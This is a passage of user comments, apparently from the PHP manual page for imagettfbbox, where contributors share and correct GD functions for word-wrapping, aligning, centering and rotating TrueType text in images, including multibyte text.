           if ($lineWidth > $width && !empty($line) ) { // check if it is too big if the word was added, if so, then move on.
               $dstLines[] = ' '.trim($line); //Add the line like it was without spaces.
               $line = '';
           }
           $line .= $word.' ';
       }
       $dstLines[] =  ' '.trim($line); //Add the line when the line ends.
   }
   //Calculate lineheight by common characters.
   $dimensions = imagettfbbox($textSize, 0, $font, "MXQJPmxqjp123"); //use a custom string to get a fixed height.
   $lineHeight = $dimensions[1] - $dimensions[5]; // get the heightof this line

   $align = strtolower(substr($align,0,1)); //Takes the first letter and converts to lower string. Support for Left, left and l etc.
   foreach ($dstLines as $nr => $line) {
       if ($align != "l") {
           $dimensions = imagettfbbox($textSize, 0, $font, $line);
           $lineWidth = $dimensions[4] - $dimensions[0]; // get the length of this line
           if ($align == "r") { //If the align is Right
               $locX = $x + $width - $lineWidth;
           } else { //If the align is Center
               $locX = $x + ($width/2) - ($lineWidth/2);
           }
       } else { //if the align is Left
           $locX = $x;
       }
       $locY = $y + ($nr * $lineHeight);
       //Print the line.
       imagettftext($img, $textSize, 0, $locX, $locY, $color, $font, $line);
   }
}

?>
Nimja
13-Jan-2006 10:01
This is a completely rewritten function of "printWordWrapped" because it lacked a few important features. First of all, it started too high with it's text, which was easily fixed. And it has the annoying 'feature' of adding a space in front of every line. Not ideal.

But secondly, and more importantly, it didn't support long words or linebreaks. This is all fixed. And I rewrote it for cleaner code.

Please note that with the current code you could easily make a vertical align as well if you wanted to. I have not done this myself since it did not fit my own needs (and I'm slightly lazy)

Enjoy:

<?php
function imageTextWrapped(&$img, $x, $y, $width, $font, $color, $text, $textSize, $align="l") {
   $y += $fontSize; //Correct place for the fonts.
   $text = str_replace ("\\r", '', $text); //Remove windows line-breaks
   $srcLines = split ("\\n", $text); //Split text into "lines"
   $dstLines = Array(); // The destination lines array.
   foreach ($srcLines as $currentL) {
       $line = '';
       $words = split (" ", $currentL); //Split line into words.
       foreach ($words as $word) {
           $dimensions = imagettfbbox($textSize, 0, $font, $line.' '.$word);
           $lineWidth = $dimensions[4] - $dimensions[0]; // get the length of this line, if the word is to be included
           if ($lineWidth > $width && !empty($line) ) { // check if it is too big if the word was added, if so, then move on.
               $dstLines[] = trim($line); //Add the line like it was without spaces.
               $line = '';
           }
           $line .= $word.' ';
       }
       $dstLines[] =  trim($line); //Add the line when the line ends.
   }
   //Calculate lineheight by common characters.
   $dimensions = imagettfbbox($textSize, 0, $font, "MXQJPmxqjp123"); //use a custom string to get a fixed height.
   $lineHeight = $dimensions[1] - $dimensions[5]; // get the heightof this line

   $align = strtolower(substr($align,0,1)); //Takes the first letter and converts to lower string. Support for Left, left and l etc.
   foreach ($dstLines as $nr => $line) {
       if ($align != "l") {
           $dimensions = imagettfbbox($textSize, 0, $font, $line);
           $lineWidth = $dimensions[4] - $dimensions[0]; // get the length of this line
           if ($align == "r") { //If the align is Right
               $locX = $x + $width - $lineWidth;
           } else { //If the align is Center
               $locX = $x + ($width/2) - ($lineWidth/2);
           }
       } else { //if the align is Left
           $locX = $x;
       }
       $locY = $y + ($nr * $lineHeight);
       //Print the line.
       imagettftext($img, $textSize, 0, $locX, $locY, $color, $font, $line);
   }
}
?>
peisenmann at gmail dot com
29-Dec-2005 10:41
Another function for centered text string.
What it does: Generate a truecolor .png image of a text string. The image will be just large enough encompass the text and a 2 px border and the text will be centered in it.

It is called from any other page like so...
<img src="linkImg.php?text=php.net is great&border=out" /> // Text with #&+"'\<> will need to be escaped, but I've found spaces don't cause errors. I haven't tested this with any other languages.

The following code is the file named linkImg.php
The file was not designed to have anything else here with it, and the open and close php tags should the the very first and very last characters of the page respectively, as outside whitespace can be a little evil sometimes.
<?php
//Obtain text and border via GET
//Border can be out, in, or flat
$text = $_GET['text'];
$border = $_GET['border'];

  $font = "fontpath"; //(str) "fonts/sasquatchlives.ttf"
  $fontsize = font size; //(int) pixels in GD 1, or points in GD 2

//Register box
$box = imagettfbbox ($fontsize, 0, $font, $text);
//Find out the width and height of the text box
$textW = $box[2] - $box[0];
$textH= $box[3]-$box[5];
//Add padding
$paddingx = 10;
$paddingy = 10;
//Set image dimentions
$width = $textW+$paddingx;
$height= $textH+$paddingy;

//Bottom left corner of text
$textx = $paddingx/2;
$texty = $height - $paddingy/2;

//Shadow offset (pixels)
$shadoffx = 1;
$shadoffy = 1;

//Create the image
 $img = imagecreatetruecolor($width,$height);
//Define some colors
 $white = imagecolorallocate($img,255,255,255);
 $black = imagecolorallocate($img,0,0,0);
 $lightgrey = imagecolorallocate($img,200,200,200);
 $grey = imagecolorallocate($img,100,100,100);
//Define Text (fg) and background (bg) colors
 $bgcol = imagecolorallocate($img,192,213,196); //Celadon (light pastel green)
 $fgcol = imagecolorallocate($img,243,104,88); //Peach
// Fill image with background color
 imagefill($img,0,0,$bgcol);

//Write Shadow
imagettftext($img, $fontsize, 0, $textx+$shadoffx, $texty+$shadoffy, $grey, $font, $text);

//Write Text
imagettftext($img, $fontsize, 0, $textx, $texty, $fgcol, $font, $text);

//Bordering

   //Embossed border (button-looking)
 if ($border == "out")
  {
   imageline ($img,0,0,$width,0,$white);imageline ($img,0,0,0,$height,$white);
   imageline ($img,1,1,$width,1,$lightgrey);imageline ($img,1,1,1,$height-1,$lightgrey);
   imageline ($img,0,$height-1,$width-1,$height-1,$black);imageline ($img,$width-1,$height-1,$width-1,0,$black);
   imageline ($img,2,$height-2,$width-2,$height-2,$grey);imageline ($img,$width-2,$height-2,$width-2,2,$grey);

  }
   //Flat border
 if ($border == "flat")
  {
   imageline ($img,0,0,$width,0,$white);imageline ($img,0,0,0,$height,$white);
   imageline ($img,1,1,$width,1,$grey);imageline ($img,1,1,1,$height-1,$grey);
   imageline ($img,0,$height-1,$width-1,$height-1,$white);imageline ($img,$width-1,$height-1,$width-1,0,$white);
   imageline ($img,2,$height-2,$width-2,$height-2,$grey);imageline ($img,$width-2,$height-2,$width-2,2,$grey);
  }

   //Engraved border (pushed button)
 if ($border == "in")
  {
   imageline ($img,0,0,$width,0,$black);imageline ($img,0,0,0,$height,$black);
   imageline ($img,1,1,$width,1,$grey);imageline ($img,1,1,1,$height-1,$grey);
   imageline ($img,0,$height-1,$width-1,$height-1,$white);imageline ($img,$width-1,$height-1,$width-1,0,$white);
   imageline ($img,2,$height-2,$width-2,$height-2,$lightgrey);imageline ($img,$width-2,$height-2,$width-2,2,$lightgrey);
  }

// Header info
 header("Content-type: image/png");
//Sends the image
 imagepng($img);
 imagedestroy($img);
?>

Hope this helps someone!
-Patrick-
Mickey9801 at ComicParty dot com
12-Dec-2005 01:31
I have revised my mb_wordwrap function to fix 2 major bugs: cannot handle line break and infinite loop while handling very very long long long single byte word.

<?php
function mb_wordwrap($txt,$font,$size,$width) {
   $pointer = 0; // Current character position pointer
   $this_line_start = 0; // Starting character position of current line
   $this_line_strlen = 1; // How long is the current line
   $single_byte_stack = ""; // Variable for storing single byte word
   $sbs_line_width = 0; // Pixel width of the Single byte word
   $this_is_cr = FALSE; // Check if the character is new line code (ASCII=10)
   $result_lines = array(); // Array for storing the return result

   while ($pointer < mb_strlen($txt)) {
       $this_char = mb_substr($txt,$pointer,1);
       if (ord($this_char[0])==10) $this_is_cr = TRUE; // Check if it is a new line
       // Check current line width
       $tmp_line = mb_substr($txt, $this_line_start, $this_line_strlen);
       $tmp_line_bbox = imagettfbbox($size,0,$font,$tmp_line);
       $this_line_width = $tmp_line_bbox[2]-$tmp_line_bbox[0];

       // Prevent to cut off english word at the end of line
       // if this character is a alphanumeric character or open bracket, put it into stack
       if (is_alphanumeric($this_char, $single_byte_stack)) $single_byte_stack .= $this_char;
       // Check the width of single byte words
       if ($single_byte_stack != "") {
           $tmp_line_bbox = imagettfbbox($size,0,$font,$single_byte_stack);
           $sbs_line_width = $tmp_line_bbox[2]-$tmp_line_bbox[0];
       }

       if ($this_is_cr || $this_line_width > $width || $sbs_line_width >= $width) {
           // If last word is alphanumeric, put it to next line rather then cut it off
           if ($single_byte_stack != "" && is_alphanumeric($this_char, $single_byte_stack) && $sbs_line_width < $width) {
               $stack_len = mb_strlen($single_byte_stack);
               $this_line_strlen = $this_line_strlen - $stack_len + 1;
               $pointer = $pointer - $stack_len + 1;
           }
           // Move the current line to result array and reset all counter
           $result_lines[] = mb_substr($txt, $this_line_start, $this_line_strlen-1);
           if ($this_is_cr) { $pointer++; $this_is_cr=FALSE; }
           if ($sbs_line_width >= $width) $sbs_line_width = 0;
           $this_line_start = $pointer;
           $this_line_strlen = 1;
           $single_byte_stack = "";
       } else {
           if (!is_alphanumeric($this_char, $single_byte_stack)) {
               $single_byte_stack = ""; // Clear stack if met multibyte character and not line end
           }
           $this_line_strlen++;
           $pointer++;
       }
   }
   // Move remained word to result
   $result_lines[] = mb_substr($txt, $this_line_start);

   return $result_lines;
}

function is_alphanumeric($character, $stack) {
   if (
               (ord($character)>=48 && ord($character)<=57) ||
               (ord($character)>=65 && ord($character)<=91) ||
               (ord($character)>=97 && ord($character)<=123) ||
               ord($character)==40 ||
               ord($character)==60 ||
               ($stack=="" && (ord($character)==34 || ord($character)==39))
           ) return TRUE;
           else return FALSE;
}
?>
Nashev
11-Dec-2005 09:38
see http://php.rinet.ru/manual/ru/function.imagettftext.php#57416

function ByteCount($s) {
   $has_mbstring = extension_loaded('mbstring') ||@dl(PHP_SHLIB_PREFIX.'mbstring.'.PHP_SHLIB_SUFFIX);
   $has_mb_shadow = (int) ini_get('mbstring.func_overload');

   if ($has_mbstring && ($has_mb_shadow & 2) ) {
       $size = mb_strlen($s,'latin1');
   } else {
       $size = strlen($s);
   }
   return $size;
}

function foxy_utf8_to_nce($s) {
  $utf = "$s";

  $max_count = 5; // flag-bits in $max_mark ( 1111 1000 == 5 times 1)
  $max_mark = 248; // marker for a (theoretical ;-)) 5-byte-char and mask for a 4-byte-char;

  $html = '';
  $ByteCount = ByteCount($utf);
  for($str_pos = 0; $str_pos < $ByteCount; $str_pos++) {
   $old_chr = $utf{$str_pos};
   $old_val = ord($old_chr);
   $new_val = 0;

   $utf8_marker = 0;

   // skip non-utf-8-chars
   if ($old_val > 127) {
     $mark = $max_mark;
     for ($byte_ctr = $max_count; $byte_ctr > 2; $byte_ctr--) {
       // actual byte is utf-8-marker?
       if (($old_val & $mark) == (($mark << 1) & 255)) {
         $utf8_marker = $byte_ctr - 1;
         break;
       }
       $mark = ($mark << 1) & 255;
     }
   }

   // marker found: collect following bytes
   if ($utf8_marker > 1 and isset($utf{$str_pos + 1})) {
     $str_off = 0;
     $new_val = $old_val & (127 >> $utf8_marker);
     for($byte_ctr = $utf8_marker; $byte_ctr > 1; $byte_ctr--) {
       // check if following chars are UTF8 additional data blocks
       // UTF8 and ord() > 127
       if( (ord($utf{$str_pos + 1}) & 192) == 128 ) {
         $new_val = $new_val << 6;
         $str_off++;
         // no need for Addition, bitwise OR is sufficient
         // 63: more UTF8-bytes; 0011 1111
         $new_val = $new_val | ( ord( $utf{$str_pos + $str_off} ) & 63 );
       }
       // no UTF8, but ord() > 127
       // nevertheless convert first char to NCE
       else {
         $new_val = $old_val;
       }
     }
     // build NCE-Code
     $html .= '&#'.$new_val.';';
     // Skip additional UTF-8-Bytes
     $str_pos = $str_pos + $str_off;
   } else {
     $html .= chr($old_val);
     //$new_val = $old_val;
   }
  }
  return $html;
}
Mickey9801 at ComicParty dot com
23-Nov-2005 04:49
Most of functions shared here seems only work with western language and is not suitable for multibyte characters (like Chinese). I have written a function using mb_string functions to match the need of multibyte character word wrapping.

I also added some machanism so that English word won't be cut off at the end of line. Of couse you must use unicode string on GD.

function mb_wordwrap($txt,$font,$size,$width) {
   $pointer = 0;
   $this_line_start = 0;
   $this_line_strlen = 1;
   $single_byte_stack = "";
   $result_lines = array();
   while ($pointer <= mb_strlen($txt)) {
       $this_char = mb_substr($txt,$pointer,1);
       $tmp_line = mb_substr($txt, $this_line_start, $this_line_strlen);
       $tmp_line_bbox = imagettfbbox($size,0,$font,$tmp_line);
       $this_line_width = $tmp_line_bbox[2]-$tmp_line_bbox[0];
       if ($this_line_width > $width) {
           // If last word is alphanumeric, put it to next line rather then cut it off
           if ($single_byte_stack != "") {
               $stack_len = mb_strlen($single_byte_stack);
               $this_line_strlen -= $stack_len;
               $pointer -= $stack_len;
           }
           $result_lines[] = mb_substr($txt, $this_line_start, $this_line_strlen-1);
           $this_line_start = $pointer;
           $this_line_strlen = 1;
           $single_byte_stack = "";
       } else {
           // Prevent to cut off english word at the end of line
           // if this character is a alphanumeric character or open bracket, put it into stack
           if (
               (ord($this_char)>=48 && ord($this_char)<=57) ||
               (ord($this_char)>=65 && ord($this_char)<=91) ||
               (ord($this_char)>=97 && ord($this_char)<=123) ||
               ord($this_char)==40 ||
               ord($this_char)==60 ||
               ($single_byte_stack=="" && (ord($this_char)==34 || ord($this_char)==39))
           ) $single_byte_stack .= $this_char;
           else $single_byte_stack = ""; // Clear stack if met multibyte character and not line end
           $this_line_strlen++;
           $pointer++;
       }
   }
   // Move remained word to result
   $result_lines[] = mb_substr($txt, $this_line_start);

   return $result_lines;
}
Info at GravoMaster dot com
05-Nov-2005 12:01
TTF character charmap page
Could use some help in reading ttf file
so that unused rectangle chars are filtered out of the charmap
see
http://www.phpenabled.com/ttf_fontlist/
fontlist.php?font=Phones_NormalA.ttf
c.scheffers [gmail]
15-Aug-2005 04:15
I would like to post a small modification to the imageprintWordWrapped() posted below also.

The following code causes each line to start with a space, which results in the incorrect alignment of text:

$line .= ' '.$words[0]; // add the word to the current sentence

A (quick) fix for this problem:

$line .= ($line != '' ? ' ' : '').$words[0]; // add the word to the current sentence
fernandez_marce at yahoo dot com
04-Aug-2005 01:53
I would modify the last function imageprintWordWrapped() posted below. When it says:

// do the actual printing
$i = 0;

$i should be equal to 1, because if $top is greater than 0, the imagettftext() call will not work for the first element in the $lines array ($top + lineHeight*$i) == $top when $i=0!

imagettftext($image, $textSize, 0, $leftStart, $top + $lineHeight * $i, $color, $font, $line);
$i++;

To sum up, replace

// do the actual printing
$i = 0;

with:
// do the actual printing
$i = 1;

Cheers,
Marcelo
thetorpedodog [gmail]
29-Jul-2005 12:09
Just for the sake of consistency, I turned Miles' function into one that takes a $right value rather than a $maxWidth value. This makes it like all the other image* functions.
<?php
function imageprintWordWrapped(&$image, $top, $left, $right, $font, $color, $text, $textSize, $halign="left") {
   $maxWidth = $right - $left ;    //the trivial change
   $words = explode(' ', strip_tags($text)); // split the text into an array of single words
   $line = '';
   while (count($words) > 0) {
       $dimensions = imagettfbbox($textSize, 0, $font, $line.' '.$words[0]);
       $lineWidth = $dimensions[2] - $dimensions[0]; // get the length of this line, if the word is to be included
       if ($lineWidth > $maxWidth) { // if this makes the text wider that anticipated
           $lines[] = $line; // add the line to the others
           $line = ''; // empty it (the word will be added outside the loop)
       }
       $line .= ' '.$words[0]; // add the word to the current sentence
       $words = array_slice($words, 1); // remove the word from the array
   }
   if ($line != '') { $lines[] = $line; } // add the last line to the others, if it isn't empty
   $lineHeight = $dimensions[1] - $dimensions[7]; // the height of a single line
   $height = count($lines) * $lineHeight; // the height of all the lines total
   // do the actual printing
   $i = 0;
   //print_R($widths);
   foreach ($lines as $line) {
       if($halign=="center") {
           //figure out width of line
           $dimensions = imagettfbbox($textSize, 0, $font, $line);
           $lineWidth = $dimensions[2] - $dimensions[0];
           //figure out where the center is.
           $center=floor($maxWidth/2 + $left);
           $leftStart=$center-$lineWidth/2;
       } else if ($halign=="right") {
           //figure out width of line
           $dimensions = imagettfbbox($textSize, 0, $font, $line);
           $lineWidth = $dimensions[2] - $dimensions[0];
           $leftStart=$left+$maxWidth-$lineWidth;
       } else {
           $leftStart=$left;
       }
       imagettftext($image, $textSize, 0, $leftStart, $top + $lineHeight * $i, $color, $font, $line);
       $i++;
   }
   return $height;
}
?>
miles at dinewilmingtononline dot com
13-Jul-2005 09:29
Here is a slight modification to the function posted below that vegard posted that allows for left, right or center alignment within the text boxes.

$halign has a default of left.  center, and right can also be put in.

<?php
function printWordWrapped(&$image, $top, $left, $maxWidth, $font, $color, $text, $textSize, $halign="left") {
   $words = explode(' ', strip_tags($text)); // split the text into an array of single words
   $line = '';
   while (count($words) > 0) {
       $dimensions = imagettfbbox($textSize, 0, $font, $line.' '.$words[0]);
       $lineWidth = $dimensions[2] - $dimensions[0]; // get the length of this line, if the word is to be included
       if ($lineWidth > $maxWidth) { // if this makes the text wider that anticipated
           $lines[] = $line; // add the line to the others
           $line = ''; // empty it (the word will be added outside the loop)
       }
       $line .= ' '.$words[0]; // add the word to the current sentence
       $words = array_slice($words, 1); // remove the word from the array
   }
   if ($line != '') { $lines[] = $line; } // add the last line to the others, if it isn't empty
   $lineHeight = $dimensions[1] - $dimensions[7]; // the height of a single line
   $height = count($lines) * $lineHeight; // the height of all the lines total
   // do the actual printing
   $i = 0;
   //print_R($widths);
   foreach ($lines as $line) {
       if($halign=="center") {
           //figure out width of line
           $dimensions = imagettfbbox($textSize, 0, $font, $line);
           $lineWidth = $dimensions[2] - $dimensions[0];
           //figure out where the center is.
           $center=floor($maxWidth/2 + $left);
           $leftStart=$center-$lineWidth/2;
       } else if ($halign=="right") {
           //figure out width of line
           $dimensions = imagettfbbox($textSize, 0, $font, $line);
           $lineWidth = $dimensions[2] - $dimensions[0];
           $leftStart=$left+$maxWidth-$lineWidth;
       } else {
           $leftStart=$left;
       }
       imagettftext($image, $textSize, 0, $leftStart, $top + $lineHeight * $i, $color, $font, $line);
       $i++;
   }
   return $height;
}
?>
info at rainer-schuetze dot de
11-Jun-2005 12:32
according function by jtopland at hive dot no
08-Feb-2004 03:26

soukhinov at mail dot ru was right, the function doesn't work with 180. By the way it was a intresting way to trasform the angle to radian. Change the calculation of the angle to the following:  $angle = $angle/ 180 * pi();
The function to calc. the points is correct. Sorry to say this, but the cal. of the height and width is incorrect. I used the version from LB (11-Feb-2004 08:55)

   /**
     * return width and height, offset [left, top] of a ttf character
     * @param string $font : the font file
     * @param string $text : the character
     * @param int $size : the font size
     * @param int $angle : the angle
     * @access private
     * @return array  of the width and height, left and top.
     **/
   function _getCharacterSize($font, $text, $size, $angle)
   {
         // Get the boundingbox from imagettfbbox(), which is correct when angle is 0
         $bbox = imagettfbbox($size, 0, $font, $text);

         // Rotate the boundingbox
         $angle = $angle/ 180 * pi();
         for ($i=0; $i<4; $i++)
         {
                 $x = $bbox[$i * 2];
                 $y = $bbox[$i * 2 + 1];
                 $bbox[$i * 2] = cos($angle) * $x - sin($angle) * $y;  // X
                 $bbox[$i * 2 + 1] = sin($angle) * $x + cos($angle) * $y; // Y
         }
         // Variables which tells the correct width and height
       $bbox["left"] = 0- min($bbox[0],$bbox[2],$bbox[4],$bbox[6]);
       $bbox["top"] = 0- min($bbox[1],$bbox[3],$bbox[5],$bbox[7]);
       $bbox["width"] = max($bbox[0],$bbox[2],$bbox[4],$bbox[6]) -  min($bbox[0],$bbox[2],$bbox[4],$bbox[6]);
       $bbox["height"] = max($bbox[1],$bbox[3],$bbox[5],$bbox[7]) - min($bbox[1],$bbox[3],$bbox[5],$bbox[7]);

       return $bbox;
   }
php@da dot mcbf dot net
01-May-2005 10:37
Pretty trivial, but still might save someone some trouble: on my system (Debian Linux), the absolute path to the font file had to be specified. I tried it relative to the current webpage and that did not work.
vegard at I dot DONT dot WANT dot SPAM dot programmer dot no
04-Apr-2005 09:37
Here is a function that wordwraps text you want to print, allows to specify where the text should be printed, what the maximum width should be, and returns the height used.

<?php
       function printWordWrapped(&$image, $top, $left, $maxWidth, $font, $color, $text, $textSize) {
               $words = explode(' ', strip_tags($text)); // split the text into an array of single words
               $line = '';
               while (count($words) > 0) {
                       $dimensions = imagettfbbox($textSize, 0, $font, $line.' '.$words[0]);
                       $lineWidth = $dimensions[2] - $dimensions[0]; // get the length of this line, if the word is to be included
                       if ($lineWidth > $maxWidth) { // if this makes the text wider that anticipated
                               $lines[] = $line; // add the line to the others
                               $line = ''; // empty it (the word will be added outside the loop)
                               }
                       $line .= ' '.$words[0]; // add the word to the current sentence
                       $words = array_slice($words, 1); // remove the word from the array
                       }
               if ($line != '') { $lines[] = $line; } // add the last line to the others, if it isn't empty
               $lineHeight = $dimensions[1] - $dimensions[7]; // the height of a single line
               $height = count($lines) * $lineHeight; // the height of all the lines total
               // do the actual printing
               $i = 0;
               foreach ($lines as $line) {
                       imagettftext($image, $textSize, 0, $left, $top + $lineHeight * $i, $color, $font, $line);
                       $i++;
                       }
               return $height;
               }

?>
ryan at retronetworks dot com
29-Mar-2005 11:46
Here is a function that lets you write a string with your own "font tracking" level (the amount of pixels separating each character).  It uses imagettfbbox to determine the width of each character, so it doesn't discriminate against the skinnier of characters.  For this example, let $t = the amount of distance in pixels you want to separate each character from its neighbors.

<?php
function ImageTTFTextWithTracking($im, $size, $angle, $t, $x, $y, $color, $font, $text) {
   $numchar = strlen($text);
   for($i = 0; $i < $numchar; $i++) {
       # Assign character
       $char[$i] = substr($text, $i, 1);

       # Write character
       imagettftext($im, $size, $angle, ($x + $w + ($i * $t)), $y, $color, $font, $char[$i]);

       # Get width of character
       $width = imagettfbbox($size, $angle, $font, $char[$i]);
       $w = $w + $width[2];
   }
}
?>

Be aware that it currently does not work for angles other than the 0 default (I have no need for that).
soukhinov at mail dot ru
16-Mar-2005 08:00
I have tryed all of fixes
The David Eder's fix is the only working fix.
The "jtopland at hive dot no"s fix is good enough, but it not working with angle = 180 degrees.
webmaster at funfragforce dot de
10-Mar-2005 10:50
Here a little code snippet to align the text to horizontally center:

<?php
$insert = imagecreatefromgif("test.gif");
$text="TEST";
$font="arial.ttf";

//choose textcolor (black)
$col=ImageColorAllocate ($insert, 0, 0, 0);

//check width of the text
$bbox=imagettfbbox (12, 0, $font, $text);
$xcorr=0-$bbox[6];
$mase=$bbox[2]+$xcorr;

//check width of the image
$width=imagesx($insert);

//calculate x coordinates for text
$new=($width-$mase)/2;

//write text
imagettftext ($insert, 12, 0, $new, 50, $col, $font, $text);

//output picture
imagegif($insert,"",100);

?>
helloktk at naver dot com
24-Jun-2004 09:55
Here is a function which moves the center of text's bounding
box to a given pivot point (px,py) and rotates text about
that point.
<?php
$width=500;
$height=400;
$fontpath = 'c:/windows/fonts/arial.ttf';
$text = 'Finally, I have a roated text box';
$fontsize = 20;
$angle = 30.0;
// create an image and fill the background with lightgray
$image = imagecreatetruecolor($width,$height);
imagefill($image, 0, 0, 0xDDDDDD);
// bounding box
$bbox = imagettfbbox($fontsize, 0, $fontpath, $text);
// baseline point for drawing non-rotated text.
$x0=  $bbox[6];
$y0=-$bbox[7];
// fixes bounding box w.r.t. image coordinate.
$bbox[5]=-$bbox[5]+$bbox[1];
$bbox[7]=-$bbox[7]+$bbox[3];
$bbox[1]=0;
$bbox[3]=0;
// get the size of image.
$sx=imagesx($image);
$sy=imagesy($image);
// center of bounding box (xc,yc);
$xc=($bbox[0]+$bbox[2])/2.0;
$yc=($bbox[1]+$bbox[7])/2.0;
// rotation angle in radian
$rad=$angle*pi()/180.0;
$sa=sin($rad);
$ca=cos($rad);
$x1=$x0-$xc;
$y1=$y0-$yc;
//pivot point(here, we take the center of image)
$px=$sx/2.0;
$py=$sy/2.0;
// new baseline point for rotated text.
$x2= intval( $x1*$ca+$y1*$sa+$px+0.5);
$y2= intval(-$x1*$sa+$y1*$ca+$py+0.5);

imagettftext($image,$fontsize,$angle,$x2,$y2,0xFF,$fontpath,$text);
// draw rotated bounding box;
rotbbox($bbox,$angle,$px,$py);
for($i=0;$i<4;$i++){
   $x0=$bbox[2*$i+0];
   $y0=$bbox[2*$i+1];
   $j=$i+1;
   if($j==4) $j=0;
   $x1=$bbox[2*$j+0];
   $y1=$bbox[2*$j+1];
   imageline($image,$x0,$y0,$x1,$y1,0xFF0000);
}
// Show the image
imagepng($image);

function rotbbox(&$bbox,$angle,$px,$py){
     $xc=($bbox[0]+$bbox[2])/2.0;
     $yc=($bbox[1]+$bbox[7])/2.0;
     $rad=$angle*pi()/180.0;
     $sa=sin($rad);
     $ca=cos($rad);
     for ($i=0;$i<4;$i++){
         $x=$bbox[$i*2+0]-$xc;
         $y=$bbox[$i*2+1]-$yc;
         $bbox[$i*2+0]= intval( $ca*$x+$sa*$y+$px+0.5);
         $bbox[$i*2+1]= intval(-$sa*$x+$ca*$y+$py+0.5);
     }
}
?>
jrisken at mn dot rr dot com
10-Mar-2004 06:12
I took Magicaltux's word wrap procedure and modified it in two ways.  I changed the order of processing so that the string plotting function is called only once for each word instead of for every character.  And I wrote the results to a string scalar instead of a string array, with embedded breaks <br> at line ends.  It should run pretty fast.  Mine breaks only on spaces, but hyphens could easily be added.

I'm new to PHP so I apologize for my idiosyncratic formatting conventions.
<?
function myWordWrap($txt,$font,$size,$width)
{
   /*
       word-wrapper.  gets bounding box sizes for each word in a string, then
       strings words together up to desired width. calls strpos and
       imagettfbbox only once per word - so very fast.
       this version reconcatenates the words with a <br> character where
       the line break should be.
   */
   $txt.=" "; // guaranteed to find end of line
   $spaces=array();
   $wids=array();
   $i=0;
   while(true)
   {
       $j=strpos(substr($txt,$i)," ");
       if(!($j===false))
       {
           $spaces[]=$j+$i;
           $bbox=imagettfbbox($size,0,$font,substr($txt,$i,$j+1));
           $left=($bbox[0]>$bbox[6])?$bbox[6]:$bbox[0];
           $right=($bbox[2]>$bbox[4])?$bbox[2]:$bbox[4];
           $wids[]=$right-$left;
           $i=$j+$i+1;
       }
       else    break;
   }
   $lastspace=-1;
   $cum=0;
   $t2="";
   for($i=0;$i<count($spaces);$i++)
   {
       if((($cum>0)&&($cum+$wids[$i])>$width)) // time for a line break
       {
           $t2.="<br>";
           $cum=0;
           $i--;
       }
       else
       {
           // we'll always get at least one word (even if too wide) thanks to
           // ($cum>0) test above
           $t2.=substr($txt,$lastspace+1,$spaces[$i]-$lastspace);
           $cum+=$wids[$i];
           $lastspace=$spaces[$i];
       }
   }
   return $t2;
}
?>
LB
11-Feb-2004 11:55
the oliver dot martin at onemail dot fixbbox function is just lacking a small thing:
the coordonates for top and left have to be the opposite, because the imagettftext x and y coordonates are calculated from the top left of the image and set the bottom left of the first character.

The correct function is:
function fixbbox($bbox)
{
  $tmp_bbox["left"] = min($bbox[0],$bbox[2],$bbox[4],$bbox[6]);
  $tmp_bbox["top"] = min($bbox[1],$bbox[3],$bbox[5],$bbox[7]);
  $tmp_bbox["width"] = max($bbox[0],$bbox[2],$bbox[4],$bbox[6]) -
   min($bbox[0],$bbox[2],$bbox[4],$bbox[6]) + 1;
  $tmp_bbox["height"] = max($bbox[1],$bbox[3],$bbox[5],$bbox[7]) - min($bbox[1],$bbox[3],$bbox[5],$bbox[7]);

  $tmp_bbox["left"] = 0 - $tmp_bbox["left"];
  $tmp_bbox["top"] = 0 - $tmp_bbox["top"];
  return $tmp_bbox;
}

And it works for any rotated text.
David Eder
11-Feb-2004 01:46
As "oliver dot martin at onemail dot at" noted above, imagettfbbox() does not work correctly in php 4.3.4.  To remedy this, I've written a short function that uses trig to calculate the bounding box from rotating a non-rotated piece of text.

Hopefully, this comment will be obsolete soon, but for now, ...

function imagettfbbox_t($size, $angle, $fontfile, $text)
{
  // compute size with a zero angle
  $coords = imagettfbbox($size, 0, $fontfile, $text);

  // convert angle to radians
  $a = $angle * M_PI / 180;

  // compute some usefull values
  $ca = cos($a);
  $sa = sin($a);
  $ret = array();

  // perform transformations
  for($i = 0; $i < 7; $i += 2)
  {
   $ret[$i] = round($coords[$i] * $ca + $coords[$i+1] * $sa);
   $ret[$i+1] = round($coords[$i+1] * $ca - $coords[$i] * $sa);
  }
  return $ret;
}
jtopland at hive dot no
09-Feb-2004 06:26
Finally managed to make a fixed version of imagettfbbox().
All angles returns correct values.
Except that imagettftext() returns different trackings (space between each character) when rotating.

<?php
   // Set some test variables
   $font = "d://www//tahoma.ttf";
   $text = "Finally, I can center rotated text!";
   $size = 20;
   $angle = 20;

   // Create an image and fill the background with lightgray
   $image = imagecreatetruecolor(500, 400);
   imagefill($image, 0, 0, hexdec("dddddd"));

   // Make a cross to make it easier to analyze
   imageline($image, 0, 0, imagesx($image), imagesy($image), hexdec("000000"));
   imageline($image, imagesx($image), 0, 0, imagesy($image), hexdec("000000"));

   // Run a fixed version of imagettfbbox()
   $bbox = imagettfbbox_fixed($size, $angle, $font, $text);

   // Make some text and center the text on the image.
   // imagettftext() pivot is on lower left
   imagettftext($image, $size, $angle, imagesx($image) / 2 - $bbox['width'] / 2, imagesy($image) / 2 + $bbox['height'] / 2, hexdec("0000ff"), $font, $text);

   // Show the image
   imagepng($image);

   function imagettfbbox_fixed($size, $angle, $font, $text)
   {
       // Get the boundingbox from imagettfbbox(), which is correct when angle is 0
       $bbox = imagettfbbox($size, 0, $font, $text);

       // Rotate the boundingbox
       $angle = pi() * 2 - $angle * pi() * 2 / 360;
       for ($i=0; $i<4; $i++)
       {
           $x = $bbox[$i * 2];
           $y = $bbox[$i * 2 + 1];
           $bbox[$i * 2] = cos($angle) * $x - sin($angle) * $y;
           $bbox[$i * 2 + 1] = sin($angle) * $x + cos($angle) * $y;
       }

       // Variables which tells the correct width and height
       $bbox['width'] = $bbox[0] + $bbox[4];
       $bbox['height'] = $bbox[1] - $bbox[5];

       return $bbox;
   }
?>
oliver dot martin at onemail dot at
10-Jan-2004 05:13
The original fixbox function by <php at deathz0rz dot homeunix dot net> doesn't work when the text is rotated, as it assumes that the upper left corner of the text is also the upper left corner of the bounding box. Same goes for the lower right corner. Here is my corrected version of it:

<?
function fixbbox($bbox)
{
   $tmp_bbox["left"] = min($bbox[0],$bbox[2],$bbox[4],$bbox[6]);
   $tmp_bbox["top"] = min($bbox[1],$bbox[3],$bbox[5],$bbox[7]);
